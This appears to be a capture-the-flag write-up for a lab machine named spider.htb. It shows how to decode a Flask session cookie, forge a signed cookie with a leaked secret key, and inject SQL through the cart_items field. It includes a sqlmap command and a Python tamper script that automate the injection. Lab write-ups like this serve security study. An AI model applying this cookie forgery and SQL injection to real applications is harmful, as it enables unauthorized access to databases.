Flask Cookie - Injection

```
flask-unsign --decode --cookie
'eyJjYXJ0X2l0ZW1zIjpbIjkiLCI5Il0sInV1aWQiOiI3Nzg4MjRkYi0zMzFiLTQ2Y2ItOTNlMi1lZDJmM


{'cart_items': ['9', '9'], 'uuid': '778824db-331b-46cb-93e2-ed2f14c01d9f'}
```

Key

```
Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942
```

Injection

cart_items is injectable.

```
flask-unsign --sign --cookie={'cart_items': ['1 OR 1=1--'], 'uuid': '778824db-
331b-46cb-93e2-ed2f14c01d9f'} --
secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
```

This will return a valid token that puts all existing products in the cart.

Knowing this, lets use sqlmap and a tamper script to craft the cookie.

Request

```
GET /cart HTTP/1.1
Host: spider.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```

```
Cookie:
session=eyJjYXJ0X2l0ZW1zIjpbIjEgT1IgMT0xIFVOSU9OIFNFTEVDVCA5OSwgJ2hpJywnQ2hhaXInL

Upgrade-Insecure-Requests: 1
```

SQLMap

```
sqlmap -u "http://spider.htb/cart" --cookie="session=1" -p 'session' --param-filter='COOKIE' --level=5 --risk=3 --tamper="flaskencode" --dbms=mysql --delay=0.15 --dbs
```

Tamper Script

```
#!/usr/bin/env python

from lib.core.enums import PRIORITY
import flask_unsign

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    return flask_unsign.sign({'cart_items' : [ payload ], 'uuid':'ed86b957-0459-47ab-bc21-b9c14bbaab88'}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')
```